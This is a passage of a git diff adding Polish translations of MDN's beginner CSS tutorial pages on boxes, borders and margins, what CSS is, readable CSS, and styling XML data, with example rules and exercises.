stronie elementu. Każdy z nich może mieć wartość zero.</p> +<p>Margines wewnętrzny ma zawsze ten sam kolor, co tło elementu. Zatem kiedy określasz kolo tła, widzisz ten kolor w tle elementu i jego marginesu wewnętrznego. Margines jest zawsze przezroczysty.</p> +<table> <tbody> <tr> <td style="width: 22em;"> <div style="padding: 0px 2em 2em; background-color: rgb(238, 238, 238); width: 16em;"> <p style="margin: 0px; text-align: center;">margines zewnętrzny</p> <p style="margin: 0px 0px -0.75em; text-align: center;">ramka</p> <div style="border: 4px solid rgb(255, 221, 153); padding: 0px 2em 2em; background-color: rgb(238, 255, 238);"> <p style="text-align: center;">margines wewnętrzny</p> <div style="background-color: rgb(221, 238, 221);"> <p style="margin: 0px; padding: 0px; text-align: center; font-size: 200%; font-weight: bold; color: rgb(136, 153, 136);">element</p> </div> </div> </div> <p><em>Ten element ma zielone tło.</em></p> </td> <td> <div style="padding: 0px 2em 2em; background-color: rgb(255, 255, 255); width: 16em;"> <p style="margin: 0px; text-align: center;"> </p> <p style="margin: 0px 0px -0.75em; text-align: center;"> </p> <div style="border: 4px solid rgb(255, 221, 153); padding: 0px 2em 2em; background-color: rgb(238, 255, 238);"> <p style="text-align: center;"> </p> <div style="background-color: rgb(238, 255, 238);"> <p style="margin: 0px; padding: 0px; text-align: center; font-size: 200%; font-weight: bold; color: rgb(136, 153, 136);">element</p> </div> </div> </div> <p><em>Tak wygląda to w przeglądarce.</em></p> </td> </tr> </tbody> +</table> +<h4 id="Ramki" name="Ramki">Ramki</h4> +<p>Możesz użyć ramek do dekoracji elementów liniami lub blokami.</p> +<p>Aby utworzyć jednakową ramkę wokół całego elementu, użyj własności <code>border</code>. Określ szerokość (zwykle w pikselach), styl i kolor.</p> +<p>Istnieją następujące style:</p> +<table style="margin-left: 2em;"> <tbody> <tr> <td style="width: 6em;"> <div style="border: 2px solid rgb(68, 170, 68); margin: 0.5em; padding: 0.5em; width: 5em; text-align: center;"><code>solid</code></div> </td> <td style="width: 6em;"> <div style="border: 2px dotted rgb(68, 170, 68); margin: 0.5em; padding: 0.5em; width: 5em; text-align: center;"><code>dotted</code></div> </td> <td style="width: 6em;"> <div style="border: 2px dashed rgb(68, 170, 68); margin: 0.5em; padding: 0.5em; width: 5em; text-align: center;"><code>dashed</code></div> </td> <td style="width: 6em;"> <div style="border: 4px double rgb(68, 170, 68); margin: 0.5em; padding: 0.5em; width: 5em; text-align: center;"><code>double</code></div> </td> </tr> <tr> <td style="width: 6em;"> <div style="border: 2px inset rgb(68, 170, 68); margin: 0.5em; padding: 0.5em; width: 5em; text-align: center;"><code>inset</code></div> </td> <td style="width: 6em;"> <div style="border: 2px outset rgb(68, 170, 68); margin: 0.5em; padding: 0.5em; width: 5em; text-align: center;"><code>outset</code></div> </td> <td style="width: 6em;"> <div style="border: 4px ridge rgb(68, 170, 68); margin: 0.5em; padding: 0.5em; width: 5em; text-align: center;"><code>ridge</code></div> </td> <td style="width: 6em;"> <div style="border: 4px groove rgb(68, 170, 68); margin: 0.5em; padding: 0.5em; width: 5em; text-align: center;"><code>groove</code></div> </td> </tr> </tbody> +</table> +<p>Możesz także ustawić styl na <code>none</code> lub <code>hidden</code>, aby usunąć ramkę, lub ustawić kolor na <code>transparent</code>, aby ustawić przezroczystą ramkę bez dotykania układu.</p> +<p>Aby określić osobno każdą krawędź ramki, użyj własności: <code>border-top</code> (góra), <code>border-right</code> (prawo), <code>border-bottom</code> (dół), <code>border-left</code> (lewo). Możesz ich użyć do określenia ramki tylko po jednej stronie lub różnych ramek dla każdej krawędzi.</p> +<table style="border: 1px solid rgb(51, 102, 187); padding: 1em; background-color: rgb(255, 255, 244); margin-bottom: 1em;"> <caption>Przykłady </caption> <tbody> <tr> <td>Ta reguła ustawia kolor tła i górną ramkę dla elementów nagłówka: <div style="width: 40em;"> <p>h3 {</p> <pre class="eval"> border-top: 4px solid #7c7; /* mid green */ + background-color: #efe; /* pale green */ + color: #050; /* dark green */ + } +</pre> </div> <p>Wygląda to tak:</p> <table> <tbody> <tr> <td> <p style="border-top: 4px solid rgb(119, 204, 119); font-size: 133%; font-weight: bold; background-color: rgb(238, 255, 238); color: rgb(0, 85, 0); padding-right: 6em;">Nagłówek w dobrym stylu</p> </td> </tr> </tbody> </table> <p>Dzięki tej regule obrazki są lepiej widoczne dzięki lekko szarej ramce wokół każdego z nich:</p> <div style="width: 30em;"> <p>img {border: 2px solid #ccc;}</p> </div> <p>Rezultat jest następujący:</p> <table> <tbody> <tr> <td>Obrazek:</td> <td style="border: 2px solid rgb(204, 204, 204);"><img alt="Image:Blue-rule.png" class="internal" src="/@api/deki/files/2212/=Blue-rule.png"></td> </tr> </tbody> </table> </td> </tr> </tbody> +</table> +<h4 id="Marginesy_zewn.C4.99trzne_i_wewn.C4.99trzne" name="Marginesy_zewn.C4.99trzne_i_wewn.C4.99trzne">Marginesy zewnętrzne i wewnętrzne</h4> +<p>Użyj marginesów zewnętrznych i wewnętrznych, aby dopasować pozycję elementów i stworzyć przestrzeń wokół nich.</p> +<p>Użyj własności <code>margin</code> lub <code>padding</code>, aby ustawić szerokość marginesu wewnętrznego lub zewnętrznego.</p> +<p>Jeżeli podasz tylko jedną wartość, zostanie ona zastosowana wokół całego elementu (góra, prawo, dół i lewo).</p> +<p>Jeżeli określisz dwie wartości, pierwsza zostanie używa do określenia wymiarów góry i dołu, druga do prawa i lewa.</p> +<p>Możesz też określić wszystkie cztery szerokości w kolejności: góra, prawo, dół, lewo.</p> +<table style="border: 1px solid rgb(51, 102, 187); padding: 1em; background-color: rgb(255, 255, 244); margin-bottom: 1em;"> <caption>Przykład </caption> <tbody> <tr> <td>Ta reguła oznacza akapity z klasą <code>remark</code> poprzez dodanie czerwonej ramki wokół nich. <p>Marginesy wewnętrzne ustawione dla wszystkie boków odsuną trochę ramki od tekstu.</p> <p>Lewy margines zewnętrzny odsuwa akapit od reszty tekstu:</p> <div style="width: 30em;"> <p>p.remark {</p> <pre class="eval"> border: 2px solid red; + padding: 4px; + margin-left: 24px; + } +</pre> </div> <p>Wynik wygląda tak:</p> <table> <tbody> <tr> <td> <p>Oto zwykły akapit.</p> <p style="border: 2px solid red; margin: 0px 0px 0px 24px; padding: 4px 6em 4px 4px;">A to akapit z klasą <code>remark</code>.</p> </td> </tr> </tbody> </table> </td> </tr> </tbody> +</table> +<table style="border: 1px solid rgb(51, 102, 187); padding: 1em; background-color: rgb(244, 244, 244); margin-bottom: 1em;"> <caption>Więcej szczegółów </caption> <tbody> <tr> <td>Kiedy używasz marginesów zewnętrznych i wewnętrznych do określania, jak układane są elementu, Twoje reguły stylu wpływają na domyślne wartości przeglądarki w sposób, który może być bardzo skomplikowany. <p>Różne przeglądarki układają elementy na różne sposoby. Wynik może wyglądać podobnie, póki Twój arkusz stylów nic nie zmienia. Czasem może to dać dość zaskakujące rezultaty.</p> <p>Aby uzyskać spodziewany rezultat, możesz chcieć zmienić znaczniki dokumentu. Następna strona tego kursu tłumaczy, jak to zrobić.</p> <p>Aby dowiedzieć się więcej o marginesach i ramkach, zajrzyj do specyfikacji CSS do rozdziału <a class="external" href="http://www.w3.org/TR/CSS21/box.html">model blokowy</a>.</p> </td> </tr> </tbody> +</table> +<h3 id="Zadanie:_Dodawanie_ramek" name="Zadanie:_Dodawanie_ramek">Zadanie: Dodawanie ramek</h3> +<p>Wyedytuj swój plik CSS. Dodaj poniższą regułę, aby rysować linię nad każdym nagłówkiem:</p> +<div style="width: 30em;"> +<p>h3 {border-top: 1px solid gray;}</p> +</div> +<p>Jeżeli podjąłeś(aś) wyzwanie z poprzedniej strony, zmodyfikuj stworzoną regułę; w przeciwnym wypadku dodaj nową regułę, która doda przestrzeń pod każdym elementem listy:</p> +<div style="width: 30em;"> +<p>li {</p> +<pre class="eval"> list-style: lower-roman; + margin-bottom: 8px; + } +</pre> +</div> +<p>Odśwież okno przeglądarki, aby zobaczyć wynik:</p> +<table style="border: 2px outset rgb(51, 102, 187); padding: 1em; background-color: white;"> <tbody> <tr> <td> <p style="border-top: 1px solid gray; font-weight: bold; font-size: 133%; margin-bottom: 0.3em; padding-top: 0.4em; padding-bottom: 0.16em;">(A) Oceany</p> <ul style="list-style-type: disc;"> <li style="list-style-type: lower-roman; margin-bottom: 8px;">Arktyczny</li> <li style="list-style-type: lower-roman; margin-bottom: 8px;">Atlantycki</li> <li style="list-style-type: lower-roman; margin-bottom: 8px;">Spokojny</li> <li style="list-style-type: lower-roman; margin-bottom: 8px;">Indyjski</li> <li style="list-style-type: lower-roman; margin-bottom: 8px;">Południowy</li> </ul> <p style="border-top: 1px solid gray; padding: 0.4em 4em 0.16em 0pt; font-weight: bold; font-size: 133%; margin-top: 1em; margin-bottom: 0.3em;">(B) Numbered paragraphs</p> <p><strong>1: </strong>Lorem ipsum</p> <p><strong>2: </strong>Dolor sit</p> <p><strong>3: </strong>Amet consectetuer</p> <p><strong>4: </strong>Magna aliquam</p> <p><strong>5: </strong>Autem veleum</p> </td> </tr> </tbody> +</table> +<p> </p> +<table style="border: 1px solid rgb(51, 102, 187); padding: 1em; background-color: rgb(255, 255, 244); margin-bottom: 1em;"> <caption>Wyzwanie </caption> <tbody> <tr> <td>Dodaj regułę do swojego arkusza stylów, która stworzy szeroką ramkę wokół wszystkich oceanów w kolorze, który kojarzy Ci się z morzem — coś w stylu: <table style="border: 2px outset rgb(51, 102, 187); padding: 1em; background-color: white;"> <tbody> <tr> <td> <p style="border-top: 1px solid gray; font-weight: bold; font-size: 133%; margin-bottom: 0.3em; padding-top: 0.4em; padding-bottom: 0.16em;">(A) The oceans</p> <div style="border: 12px solid rgb(102, 153, 187); padding-left: 1em;"> <ul style="list-style-type: lower-roman;"> <li style="margin-bottom: 8px;">Arctic</li> <li style="margin-bottom: 8px;">Atlantic</li> <li style="margin-bottom: 8px;">Pacific</li> <li style="margin-bottom: 8px;">Indian</li> <li style="margin-bottom: 8px;">Southern</li> </ul> </div> <p style="border-top: 1px solid gray; padding: 0.4em 4em 0.16em 0pt; font-weight: bold; font-size: 133%; margin-top: 1em; margin-bottom: 0.3em;">(B) Numbered paragraphs</p> <p><strong>. . .</strong></p> </td> </tr> </tbody> </table> <p>(Nie musisz uzyskać identycznej szerokości ani koloru jak tutaj.)</p> </td> </tr> </tbody> +</table> +<h4 id="Co_dalej.3F" name="Co_dalej.3F">Co dalej?</h4> +<p>Jeżeli masz problemy ze zrozumieniem tej strony albo chcesz ją skomentować, pomóż nam, dopisując się na stronie <a href="/Talk:pl/CSS/Na_pocz%C4%85tek/Bloki" title="Talk:pl/CSS/Na_początek/Bloki">Dyskusji</a>.</p> +<p>Poprzez określenie marginesów modyfikujesz układ dokumentu. Na następnej stronie nauczysz się zmieniać układ w inny sposób: <strong><a href="/pl/CSS/Na_pocz%C4%85tek/Uk%C5%82ad" title="pl/CSS/Na_początek/Układ">Układ</a></strong></p> +<p>{{ languages( { "en": "en/CSS/Getting_Started/Boxes", "fr": "fr/CSS/Premiers_pas/Bo\u00eetes", "pt": "pt/CSS/Como_come\u00e7ar/Caixas" } ) }}</p> diff --git a/files/pl/web/css/na_początek/czym_jest_css/index.html b/files/pl/web/css/na_początek/czym_jest_css/index.html new file mode 100644 index 0000000000..2472a575c4 --- /dev/null +++ b/files/pl/web/css/na_początek/czym_jest_css/index.html @@ -0,0 +1,132 @@ +--- +title: Czym jest CSS +slug: Web/CSS/Na_początek/Czym_jest_CSS +tags: + - 'CSS:Na_początek' +translation_of: Learn/CSS/First_steps/How_CSS_works +--- +<p> </p> + +<p>Ta strona opisuje, czym jest CSS.</p> + +<h3 id="Informacja:_Czym_jest_CSS.3F" name="Informacja:_Czym_jest_CSS.3F">Informacja: Czym jest CSS?</h3> + +<p>CSS jest językiem określającym, jak dokumenty mają być prezentowane użytkownikowi.</p> + +<p><em>Dokument</em>jest to kolekcja informacji ułożona w strukturę przy użyciu<em>języka znaczników</em>.</p> + +<table style="background-color: #fffff4; border: 1px solid #36b; margin-bottom: 1em; padding: 1em;"> + <caption>Przykłady</caption> + <tbody> + <tr> + <td> + <ul> + <li>Strona, taka jak ta, jest dokumentem.<br> + Informacje, które widzisz na stronie, zazwyczaj są ułożone w strukturę przy użyciu języka znaczników HTML (HyperText Markup Language).</li> + </ul> + + <ul> + <li>Okienko dialogowe w aplikacji Mozilli jest dokumentem.<br> + Kontrolki interfejsu użytkownika, które widzisz w okienku dialogowym Mozilli, są ułożone w strukturę przy użyciu języka znaczników XUL (XML User-interface Language).</li> + </ul> + </td> + </tr> + </tbody> +</table> + +<p>W tym kursie bloki oznaczone <strong>Więcej szczegółów</strong>, jak poniższy, zawierają informacje, których znajomość nie jest wymagana do dalszego korzystania z kursu. Jeżeli się spieszysz, możesz spokojnie pominąć te bloki i na przykład wrócić do nich później.</p> + +<table style="background-color: #f4f4f4; border: 1px solid #36b; margin-bottom: 1em; padding: 1em;"> + <caption>Więcej szczegółów</caption> + <tbody> + <tr> + <td> + <p>Dokument nie jest tym samym co plik. Dokument może, ale nie musi być składowany w pliku.</p> + + <p>Na przykład dokument, który w tym momencie czytasz, nie jest zapisany w pliku. Kiedy Twoja przeglądarka prosi o stronę, serwer odpytuje bazę danych i generuje dokument, składając jego części z wielu plików i fragmentów z bazy danych. Jednak w trakcie tego kursu będziesz pracować z dokumentami składowanymi w plikach.</p> + + <p>Więcej informacji na temat dokumentów i języków znaczników znajdziesz w innych częściach tej strony — na przykład:</p> + + <table style="background-color: inherit; margin-left: 2em;"> + <tbody> + <tr> + <td><a href="pl/HTML">HTML</a></td> + <td>o stronach internetowych</td> + </tr> + <tr> + <td><a href="pl/XML">XML</a></td> + <td>o strukturalnych dokumentach</td> + </tr> + <tr> + <td><a href="pl/SVG">SVG</a></td> + <td>o grafice</td> + </tr> + <tr> + <td><a href="pl/XUL">XUL</a></td> + <td>o interfejsie użytkownika w Mozilli</td> + </tr> + </tbody> + </table> + </td> + </tr> + </tbody> +</table> + +<p><em>Prezentowanie</em>dokumentu użytkownikowi oznacza skonwertowanie go do postaci, w jakiej będzie on przydatny użytkownikowi. Mozilla prezentuje dokumenty wizualnie — na przykład na ekranie komputera, obrazie wyświetlanym przez projektor lub wydruku.</p> + +<table style="background-color: #f4f4f4; border: 1px solid #36b; margin-bottom: 1em; padding: 1em;"> + <caption>Więcej szczegółów</caption> + <tbody> + <tr> + <td>CSS jest przeznaczony nie tylko dla przeglądarek i prezentacji graficznych. W formalnej terminologii CSS program, który prezentuje dokumenty użytkownikowi, nazywany jest<em>agentem</em> (ang. User Agent - UA). Przeglądarka jest tylko jednym z wielu rodzajów UA. Jednakże część pierwsza tego kursu skupia się na pracy z językiem CSS w przeglądarce. + <p>Formalne definicje terminologii związanej z CSS znajdziesz w Specyfikacji CSS w dziale <a class="external" href="http://www.w3.org/TR/CSS21/conform.html#q1">Definicje</a>.</p> + </td> + </tr> + </tbody> +</table> + +<h3 id="Zadanie:_Tworzenie_dokumentu" name="Zadanie:_Tworzenie_dokumentu">Zadanie: Tworzenie dokumentu</h3> + +<p>Stwórz nowy katalog, a w nim nowy plik. Ten plik będzie Twoim dokumentem.</p> + +<p>Skopiuj i wklej poniższy kod HTML. Zapisz plik pod nazwą <code>doc1.html</code></p> + +<div style="width: 40em;"> +<pre class="brush: html language-html"><code class="language-html"><span class="doctype token"><!DOCTYPE html></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>html</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>head</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>meta</span> <span class="attr-name token">charset</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>UTF-8<span class="punctuation token">"</span></span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>title</span><span class="punctuation token">></span></span>Sample document<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>title</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"></</span>head</span><span class="punctuation token">></span></span> + + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>body</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>p</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>strong</span><span class="punctuation token">></span></span>C<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>strong</span><span class="punctuation token">></span></span>ascading + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>strong</span><span class="punctuation token">></span></span>S<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>strong</span><span class="punctuation token">></span></span>tyle + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>strong</span><span class="punctuation token">></span></span>S<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>strong</span><span class="punctuation token">></span></span>heets + <span class="tag token"><span class="tag token"><span class="punctuation token"></</span>p</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"></</span>body</span><span class="punctuation token">></span></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>html</span><span class="punctuation token">></span></span></code></pre> +</div> + +<p>Otwórz nowy panel lub nowe okno w Twojej przeglądarce i otwórz ten plik.</p> + +<p>Powinieneś zobaczyć tekst zaczynający się od pogrubionych liter:</p> + +<table style="border: 2px outset #36b; padding: 1em;"> + <tbody> + <tr> + <td><strong>C</strong>ascading <strong>S</strong>tyle <strong>S</strong>heets</td> + </tr> + </tbody> +</table> + +<p>To, co widzisz w przeglądarce, może się trochę różnić z powodu ustawień przeglądarki oraz tego wiki. Jeżeli istnieją jakieś różnice w kroju pisma, odstępach i kolorach, które widzisz, nie jest to żaden problem.</p> + +<h4 id="Co_dalej.3F" name="Co_dalej.3F">Co dalej?</h4> + +<p>Jeżeli masz problemy ze zrozumieniem tej strony lub chcesz ją skomentować, pomóż nam, dopisując się na stronie <a>Dyskusji</a>.</p> + +<p>Twój dokument nie używa jeszcze CSS. Na następnej stronie zaczniesz używać CSS do określania stylów: <strong><a href="pl/CSS/Na_pocz%c4%85tek/Po_co_u%c5%bcywa%c4%87_CSS">Po co używać CSS</a></strong></p> + +<p>{{ languages( { "en": "en/CSS/Getting_Started/What_is_CSS", "fr": "fr/CSS/Premiers_pas/Pr\u00e9sentation_des_CSS", "it": "it/Conoscere_i_CSS/Che_cosa_sono_i_CSS", "ja": "ja/CSS/Getting_Started/What_is_CSS", "pt": "pt/CSS/Como_come\u00e7ar/O_que_\u00e9_CSS", "zh-cn": "cn/CSS/Getting_Started/What_is_CSS" } ) }}</p> diff --git a/files/pl/web/css/na_początek/czytelny_css/index.html b/files/pl/web/css/na_początek/czytelny_css/index.html new file mode 100644 index 0000000000..ca79229c4c --- /dev/null +++ b/files/pl/web/css/na_początek/czytelny_css/index.html @@ -0,0 +1,153 @@ +--- +title: Czytelny CSS +slug: Web/CSS/Na_początek/Czytelny_CSS +tags: + - 'CSS:Na_początek' +translation_of: Learn/CSS/Introduction_to_CSS/Syntax#Beyond_syntax_make_CSS_readable +--- +<p> +</p><p>Ta strona opisuje styl i gramatykę języka CSS. +</p><p>Zmienisz wygląd swojego pliku CSS, aby był bardziej czytelny. +</p> +<h3 id="Informacja:_Czytelny_CSS" name="Informacja:_Czytelny_CSS"> Informacja: Czytelny CSS </h3> +<p>Możesz dodać białe znaki i komentarze do swojego arkusza stylów, aby uczynić go bardziej czytelnym. +Możesz też grupować selektory razem, kiedy te same reguły stylów dotyczą wybranych elementów w różny sposób. +</p> +<h4 id="Bia.C5.82e_znaki" name="Bia.C5.82e_znaki"> Białe znaki </h4> +<p>Białe znaki to spacje, tabulatory i nowe linie. +Dzięki białym znakom arkusz stylów będzie bardzie czytelny. +</p><p>Twój przykładowy plik CSS zawiera w tej chwili jedną regułę na linię i prawie minimalną liczbę białych znaków. W złożonych arkuszach stylów taki układ byłby bardzo trudny do czytania, utrudniając zarządzanie arkuszem. +</p><p>Styl, który wybierzesz, zazwyczaj zależy od prywatnych przyzwyczajeń, ale Twój arkusz stylów może być częścią projektu, którym zajmuje się więcej osób. W takiej sytuacji przyjmuje się pewne konwencje. +</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;"> +<caption>Przykłady +</caption><tbody><tr> +<td> Niektórzy ludzie lubią zwięzły układ, którego używaliśmy do tej pory, dzieląc linię jedynie wtedy, kiedy staje się ona bardzo długa: +<pre> +.carrot {color: orange; text-decoration: underline; font-style: italic;} +</pre> +<p>Inni wolą układać jedną własność-wartość na linię: +</p> +<div style="width: 45em;"> +<p>.carrot +{ +color: orange; +text-decoration: underline; +font-style: italic; +} +</p> +</div> +<p>Inni używają wcięć — często używane są dwie spacje, cztery spacje lub tabulator: +</p> +<div style="width: 45em;"> +<p>.carrot { +</p> +<pre class="eval"> color: orange; + text-decoration: underline; + font-style: italic; +</pre> +<p>} +</p> +</div> +<p>Inni wolą ustawiać wszystko względem pionowej osi (jednak taki układ jest trudny w zarządzaniu): +</p> +<div style="width: 45em;"> +<p>.carrot +</p> +<pre class="eval"> { + color : orange; + text-decoration : underline; + font-style : italic; + } +</pre> +</div> +<p>Tworząc wcięcia jedni wolą używać tabulatorów, inni zaś tylko spacji. +</p> +</td></tr></tbody></table> +<h4 id="Komentarze" name="Komentarze"> Komentarze </h4> +<p>Komentarze w CSS zaczynają się od <code>/*</code>, a kończą się na <code>*/</code>. +</p><p>Możesz używać komentarzy, aby komentować elementy swojego arkusza stylów oraz do <i>wykomentowywania</i> części aktualnie nieużywanych. +</p><p>Aby wykomentować części arkusza stylów, umieść tę część w komentarzu, a przeglądarka ją zignoruje. +Należy uważać, gdzie zaczyna, a gdzie kończy się komentarz. +Dalsza część arkusza stylów musi mieć poprawną składnię. +</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;"> +<caption>Przykład +</caption><tbody><tr> +<td><div style="width: 45em;"> +<p>/* styl dla początkowej litery C w pierwszym paragrafie */ +.carrot { +</p> +<pre class="eval"> color: orange; + text-decoration: underline; + font-style: italic; + } +</pre> +</div> +</td></tr></tbody></table> +<h4 id="Grupy_Selektor.C3.B3w" name="Grupy_Selektor.C3.B3w"> Grupy Selektorów </h4> +<p>Kiedy wiele selektorów ma ten sam styl, możesz określić grupę selektorów, oddzielając je przecinkami. +Deklaracja zostanie zastosowana do wszystkich wybranych elementów. +</p><p>W innych miejscach arkusza stylów możesz określić te same selektory ponownie, aby nadać im indywidualne reguły. +</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;"> +<caption>Przykład +</caption><tbody><tr> +<td> Ta reguła sprawia, że elementy <small>H1</small>, <small>H2</small> oraz <small>H3</small> są tego samego koloru. +<p>Wygodnie jest określić kolor tylko w jednym miejscu, na wypadek, gdyby miał być zmieniany. +</p> +<div style="width: 30em;"> +<p>/* kolory nagłówków */ +h1, h2, h3 {color: navy;} +</p> +</div> +</td></tr></tbody></table> +<h3 id="Zadanie:_Dodawanie_komentarzy_i_poprawianie_uk.C5.82adu" name="Zadanie:_Dodawanie_komentarzy_i_poprawianie_uk.C5.82adu"> Zadanie: Dodawanie komentarzy i poprawianie układu </h3> +<p>Wyedytuj swój plik CSS i upewnij się, że posiada on te reguły (w dowolnej kolejności): +</p> +<div style="width: 30em;"> +<p>strong {color: red;} +.carrot {color: orange;} +.spinach {color: green;} +</p> +<ol><li>first {font-style: italic;} +</li></ol> +<p>p {color: blue;} +</p> +</div> +<p>Spraw, aby stał się bardziej czytelny, zmieniając kolejność w sposób, który uznasz za logiczny oraz dodając białe znaki i komentarze w taki sposób, jaki uznasz za najlepszy. +</p><p>Zapisz ten plik i odśwież stronę w przeglądarce, aby upewnić się, że Twoje zmiany nie wpłynęły na działanie arkusza stylów: +</p> +<table style="border: 2px outset #36b; padding: 1em;"> +<tbody><tr> +<td style="font-style: italic; color: blue;"><strong style="color: orange;">C</strong>ascading <strong style="color: green;">S</strong>tyle <strong style="color: green;">S</strong>heets +</td></tr> +<tr> +<td style="color: blue;"><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets +</td></tr></tbody></table> +<p><br> +</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #ffe;"> +<caption>Wyzwanie +</caption><tbody><tr> +<td> Wykomentuj część arkusza stylów bez zmieniania czegokolwiek poza tym, aby pierwsza litera dokumentu była czerwona: +<table style="border: 2px outset #36b; padding: 1em; background-color: white;"> +<tbody><tr> +<td style="font-style: italic; color: blue;"><strong style="color: red;">C</strong>ascading <strong style="color: green;">S</strong>tyle <strong style="color: green;">S</strong>heets +</td></tr> +<tr> +<td style="color: blue;"><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets +</td></tr></tbody></table> +<p>(Jest więcej niż jeden sposób, aby to zrobić.) +</p> +</td></tr></tbody></table> +<p><br> +</p> +<h4 id="Co_dalej.3F" name="Co_dalej.3F"> Co dalej? </h4> +<p>Twój przykładowy dokument używa kursywy oraz podkreślenia. +Następna strona omawia kolejne sposoby na określanie wyglądu tekstu w dokumencie: +<b><a href="pl/CSS/Na_pocz%c4%85tek/Style_tekstowe">Style tekstowe</a></b> +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/CSS/Getting_Started/Readable_CSS", "fr": "fr/CSS/Premiers_pas/Des_CSS_lisibles", "it": "it/Conoscere_i_CSS/CSS_leggibili", "ja": "ja/CSS/Getting_Started/Readable_CSS", "pt": "pt/CSS/Como_come\u00e7ar/CSS_leg\u00edvel" } ) }} diff --git a/files/pl/web/css/na_początek/dane_xml/index.html b/files/pl/web/css/na_początek/dane_xml/index.html new file mode 100644 index 0000000000..3352d21184 --- /dev/null +++ b/files/pl/web/css/na_początek/dane_xml/index.html @@ -0,0 +1,191 @@ +--- +title: Dane XML +slug: Web/CSS/Na_początek/Dane_XML +tags: + - 'CSS:Na_początek' +translation_of: Archive/Beginner_tutorials/XML_data +--- +<p> +</p><p>Ta strona zawiera przykład tego, jak możesz używać CSS z danymi XML. +</p><p>Stworzysz przykładowy dokument XML oraz arkusz stylów, którego możesz użyć do wyświetlenia tego dokumentu w przeglądarce. +</p> +<h3 id="Informacja:_Dane_XML" name="Informacja:_Dane_XML"> Informacja: Dane XML </h3> +<p><i><a href="pl/XML">XML</a></i> (Rozszerzalny Język Znaczników) jest językiem ogólnego przeznaczenia dla wszelkiego typu danych strukturalnych. +</p><p>Domyślnie, Twoja przeglądarka Mozilla wyświetla XML w formacie bardzo podobnym do ułożenia danych w oryginalnym pliku XML. +Dzięki temu możesz obejrzeć znaczniki, które określają strukturę danych. +</p><p>Przez podpięcie arkusza stylów CSS do dokumentu XML, może określić inne sposoby wyświetlenia go. +Aby to zrobić, Twój arkusz stylów używa reguł, które mapuje znaczniki w dokumencie XML, aby były wyświetlane w typach znanych HTML-owi. +</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;"> +<caption>Przykład +</caption><tbody><tr> +<td> Dane w dokumencie XML używają tagu <code><INFO></code>. Chcesz, aby wszystkie elementy <small>INFO</small> w dokumencie były wyświetlane jak HTML-owe akapity. +<p>W arkuszu stylów dokumentu, określasz jak wyświetlane będą elementy <small>INFO</small>: +</p> +<div style="width: 30em;"> +<pre class="eval">INFO { + display: block; + margin: 1em 0; + } +</pre> +</div> +</td></tr></tbody></table> +<p>Najczęstszymi wartościami własności <code>display</code> są: +</p> +<table style="margin-left: 2em;"> +<tbody><tr> +<td style="padding-right: 2em;"><code>block</code></td><td>Wyświetlane jak HTML-owy <small>DIV</small> (nagłówki, akapity itp.) +</td></tr> +<tr> +<td><code>inline</code></td><td>Wyświetlany jak HTML-owy <small>SPAN</small> (dla typów tekstowych) +</td></tr></tbody></table> +<p>Dodaj własne reguły stylów, które określą krój, odstępy i inne szczegóły w taki sam sposób, jak dla HTML-a. +</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em;"> +<caption>Więcej szczegółów +</caption><tbody><tr> +<td> Inne wartości własności <code>display</code> pozwalają wyświetlać element jako punkt listy lub jako komponent tabeli. +<p>Pełną listę typów wyświetlania można znaleźć w specyfikacji CSS na stronie <a class="external" href="http://www.w3.org/TR/CSS21/visuren.html#propdef-display">The display property</a>. +</p><p>Jeśli korzystasz wyłącznie z CSS, struktura wyświetlania musi być taka sama jak struktura dokumentu. +Inne technologie pozwalają modyfikować strukturę wyświetlania—na przykład XBL może dodawać treść, a JavaScript może modyfikować DOM. +</p><p>Aby dowiedzieć się więcej o XML-u w Mozilli, zajrzyj na stronę <a href="pl/XML">XML</a> w tym wiki. +</p> +</td></tr></tbody></table> +<h3 id="Zadanie:_Demonstracja_XML-a" name="Zadanie:_Demonstracja_XML-a"> Zadanie: Demonstracja XML-a </h3> +<p>Stwórz nowy plik XML, <code>doc9.xml</code>. +Skopiuj i wklej do niego poniższy kod, upewniając się, że zaznaczyłeś(aś) cały: +</p> +<div style="width: 48em; height: 12em; overflow: auto;"><pre><?xml version="1.0"?> +<!-- XML demonstration --> + +<?xml-stylesheet type="text/css" href="style9.css"?> + +<!DOCTYPE planet> +<planet> + +<ocean> +<name>Arctic</name> +<area>13,000</area> +<depth>1,200</depth> +</ocean> + +<ocean> +<name>Atlantic</name> +<area>87,000</area> +<depth>3,900</depth> +</ocean> + +<ocean> +<name>Pacific</name> +<area>180,000</area> +<depth>4,000</depth> +</ocean> + +<ocean> +<name>Indian</name> +<area>75,000</area> +<depth>3,900</depth> +</ocean> + +<ocean> +<name>Southern</name> +<area>20,000</area> +<depth>4,500</depth> 